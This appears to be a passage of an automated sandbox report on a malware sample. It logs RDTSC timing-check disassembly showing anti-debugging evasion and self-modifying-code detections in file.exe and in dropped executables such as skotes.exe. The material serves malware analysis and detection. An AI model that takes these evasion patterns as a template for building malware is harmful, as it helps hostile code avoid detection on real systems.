Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CB9 second address: 5180D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FBA3CEC189Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 movzx esi, di 0x00000013 pushad 0x00000014 mov dh, C1h 0x00000016 popad 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov dx, A22Ch 0x0000001f popad 0x00000020 push esp 0x00000021 jmp 00007FBA3CEC18A0h 0x00000026 mov dword ptr [esp], ecx 0x00000029 pushad 0x0000002a mov eax, 289B2C1Dh 0x0000002f call 00007FBA3CEC189Ah 0x00000034 mov ch, A6h 0x00000036 pop edx 0x00000037 popad 0x00000038 mov eax, dword ptr [76FB65FCh] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FBA3CEC189Fh 0x00000046 sbb ecx, 5E1F073Eh 0x0000004c jmp 00007FBA3CEC18A9h 0x00000051 popfd 0x00000052 pushfd 0x00000053 jmp 00007FBA3CEC18A0h 0x00000058 and ah, 00000038h 0x0000005b jmp 00007FBA3CEC189Bh 0x00000060 popfd 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D63 second address: 5180DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov eax, 681523F3h 0x00000011 jmp 00007FBA3CEC1188h 0x00000016 popad 0x00000017 je 00007FBAAEC73D3Bh 0x0000001d jmp 00007FBA3CEC1180h 0x00000022 mov ecx, eax 0x00000024 pushad 0x00000025 push ecx 0x00000026 pop ebx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FBA3CEC1184h 0x0000002e add si, 7288h 0x00000033 jmp 00007FBA3CEC117Bh 0x00000038 popfd 0x00000039 mov edi, eax 0x0000003b popad 0x0000003c popad 0x0000003d xor eax, dword ptr [ebp+08h] 0x00000040 pushad 0x00000041 mov ebx, 3368CD64h 0x00000046 push eax 0x00000047 push edx 0x00000048 mov esi, edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180DF4 second address: 5180E31 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBA3CEC189Fh 0x00000008 and cx, 977Eh 0x0000000d jmp 00007FBA3CEC18A9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 and ecx, 1Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E31 second address: 5180E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E35 second address: 5180E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E3B second address: 5180E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E41 second address: 5180E45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E45 second address: 5180E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBA3CEC117Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E60 second address: 5180E85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx edx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c leave 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBA3CEC18A4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E85 second address: 5180E94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC117Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180F66 second address: 5180F83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180F83 second address: 5180FA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBA3CEC117Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180FA8 second address: 5180FCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBA3CEC189Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140061 second address: 51400CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBA3CEC117Fh 0x00000008 mov ch, 94h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and esp, FFFFFFF8h 0x00000010 pushad 0x00000011 push edx 0x00000012 mov di, si 0x00000015 pop ecx 0x00000016 jmp 00007FBA3CEC1189h 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d jmp 00007FBA3CEC117Eh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov al, D4h 0x00000028 call 00007FBA3CEC1189h 0x0000002d pop ecx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51400CB second address: 51400D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51400D1 second address: 51400D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51400D5 second address: 51400D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51400D9 second address: 5140146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov di, ax 0x0000000d mov al, D9h 0x0000000f popad 0x00000010 push ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 mov bx, si 0x00000016 pushfd 0x00000017 jmp 00007FBA3CEC117Eh 0x0000001c and eax, 5FAE2B78h 0x00000022 jmp 00007FBA3CEC117Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov di, ax 0x0000002c popad 0x0000002d mov dword ptr [esp], ebx 0x00000030 jmp 00007FBA3CEC1182h 0x00000035 mov ebx, dword ptr [ebp+10h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FBA3CEC1187h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140146 second address: 5140199 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ah, 55h 0x0000000e mov ax, bx 0x00000011 popad 0x00000012 jmp 00007FBA3CEC189Bh 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007FBA3CEC18A9h 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140199 second address: 514019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514019D second address: 51401B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51401B0 second address: 51401E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007FBA3CEC117Ch 0x00000013 xchg eax, edi 0x00000014 jmp 00007FBA3CEC1180h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51401E2 second address: 51401E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51401E6 second address: 51401EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51401EA second address: 51401F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51401F0 second address: 5140239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 728D60E8h 0x00000008 mov ax, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, edi 0x0000000f jmp 00007FBA3CEC1183h 0x00000014 test esi, esi 0x00000016 jmp 00007FBA3CEC1186h 0x0000001b je 00007FBAAECAF561h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edi, ax 0x00000027 mov cl, 0Dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140239 second address: 514023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514023F second address: 5140243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140243 second address: 51402DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 jmp 00007FBA3CEC18A0h 0x00000017 je 00007FBAAECAFC57h 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FBA3CEC189Eh 0x00000024 adc al, 00000038h 0x00000027 jmp 00007FBA3CEC189Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007FBA3CEC18A8h 0x00000033 or ch, FFFFFF98h 0x00000036 jmp 00007FBA3CEC189Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov edx, dword ptr [esi+44h] 0x00000040 pushad 0x00000041 movzx eax, dx 0x00000044 popad 0x00000045 or edx, dword ptr [ebp+0Ch] 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FBA3CEC18A9h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51402DE second address: 51402FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51402FE second address: 5140349 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FBA3CEC18A4h 0x0000000c pushfd 0x0000000d jmp 00007FBA3CEC18A2h 0x00000012 xor cx, 33E8h 0x00000017 jmp 00007FBA3CEC189Bh 0x0000001c popfd 0x0000001d pop ecx 0x0000001e popad 0x0000001f jne 00007FBAAECAFBDFh 0x00000025 pushad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140349 second address: 5140389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBA3CEC117Ch 0x0000000a or esi, 5174C648h 0x00000010 jmp 00007FBA3CEC117Bh 0x00000015 popfd 0x00000016 popad 0x00000017 popad 0x00000018 test byte ptr [esi+48h], 00000001h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBA3CEC1185h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130829 second address: 513082D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513082D second address: 5130831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130831 second address: 5130837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130837 second address: 5130867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1185h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FBA3CEC117Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130867 second address: 513086B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513086B second address: 5130871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130871 second address: 51308A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBA3CEC18A7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51308A5 second address: 51308E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FBA3CEC117Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBA3CEC117Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A1D second address: 5130A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A22 second address: 5130A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC117Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A31 second address: 5130A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FBAAECB71D4h 0x00000011 pushad 0x00000012 mov esi, 77F3D7D3h 0x00000017 pushfd 0x00000018 jmp 00007FBA3CEC18A8h 0x0000001d adc si, C358h 0x00000022 jmp 00007FBA3CEC189Bh 0x00000027 popfd 0x00000028 popad 0x00000029 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130A93 second address: 5130AC4 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 6CAC4207h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FBA3CEC117Ch 0x0000000f or eax, 39D7CDB8h 0x00000015 jmp 00007FBA3CEC117Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ecx, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130AC4 second address: 5130ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130ADF second address: 5130B2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FBA3CEC117Fh 0x00000008 pop ecx 0x00000009 movsx edx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FBAAECB6A21h 0x00000015 jmp 00007FBA3CEC1180h 0x0000001a test byte ptr [76FB6968h], 00000002h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FBA3CEC1187h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130B2E second address: 5130B60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBA3CEC189Fh 0x00000009 adc ch, FFFFFF9Eh 0x0000000c jmp 00007FBA3CEC18A9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130B60 second address: 5130BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007FBAAECB69C5h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FBA3CEC117Ah 0x00000014 jmp 00007FBA3CEC1185h 0x00000019 popfd 0x0000001a mov bx, cx 0x0000001d popad 0x0000001e mov edx, dword ptr [ebp+0Ch] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov edi, 4E24066Ah 0x00000029 pushfd 0x0000002a jmp 00007FBA3CEC117Bh 0x0000002f adc cx, DF0Eh 0x00000034 jmp 00007FBA3CEC1189h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130BCA second address: 5130BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130BD0 second address: 5130C24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FBA3CEC1182h 0x00000010 sub ecx, 6DA0E0B8h 0x00000016 jmp 00007FBA3CEC117Bh 0x0000001b popfd 0x0000001c push esi 0x0000001d mov dx, 34DAh 0x00000021 pop edx 0x00000022 popad 0x00000023 mov dword ptr [esp], ebx 0x00000026 pushad 0x00000027 jmp 00007FBA3CEC117Ch 0x0000002c movzx eax, dx 0x0000002f popad 0x00000030 push esi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop ecx 0x00000036 mov si, bx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130C24 second address: 5130C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130C2A second address: 5130C63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007FBA3CEC1182h 0x00000010 push dword ptr [ebp+14h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FBA3CEC1187h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130CAD second address: 5130CCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130CCA second address: 5130D2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007FBA3CEC1188h 0x0000000c adc si, E958h 0x00000011 jmp 00007FBA3CEC117Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebx 0x0000001b jmp 00007FBA3CEC1186h 0x00000020 mov esp, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FBA3CEC1187h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130D2F second address: 5130D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140CAC second address: 5140CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC117Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140CBC second address: 5140CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140CC0 second address: 5140D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FBA3CEC117Ah 0x00000010 sbb ax, 5FF8h 0x00000015 jmp 00007FBA3CEC117Bh 0x0000001a popfd 0x0000001b jmp 00007FBA3CEC1188h 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 jmp 00007FBA3CEC1180h 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FBA3CEC1187h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0A77 second address: 51B0A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC189Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0A87 second address: 51B0B42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FBA3CEC117Dh 0x00000011 or cx, 6146h 0x00000016 jmp 00007FBA3CEC1181h 0x0000001b popfd 0x0000001c call 00007FBA3CEC1180h 0x00000021 pushfd 0x00000022 jmp 00007FBA3CEC1182h 0x00000027 and cl, 00000018h 0x0000002a jmp 00007FBA3CEC117Bh 0x0000002f popfd 0x00000030 pop eax 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FBA3CEC1180h 0x0000003c or esi, 48754B78h 0x00000042 jmp 00007FBA3CEC117Bh 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007FBA3CEC1188h 0x0000004e jmp 00007FBA3CEC1185h 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0B42 second address: 51B0B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0DF0 second address: 51A0E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBA3CEC1187h 0x00000008 mov esi, 3251845Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, A229h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0E1B second address: 51A0E2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov edx, esi 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E4496A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C7ED59 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EAAF21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BC496A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9FED59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C2AF21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: D0ED7E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: D0EE3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: EB7A17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: EDCC54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: EC8A33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: F3CBE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Special instruction interceptor: First address: 4EE9A9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Special instruction interceptor: First address: 4D6C68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Special instruction interceptor: First address: 8ADD4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Special instruction interceptor: First address: A7DD8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Special instruction interceptor: First address: AEFBC7 instructions caused by: Self-modifying code
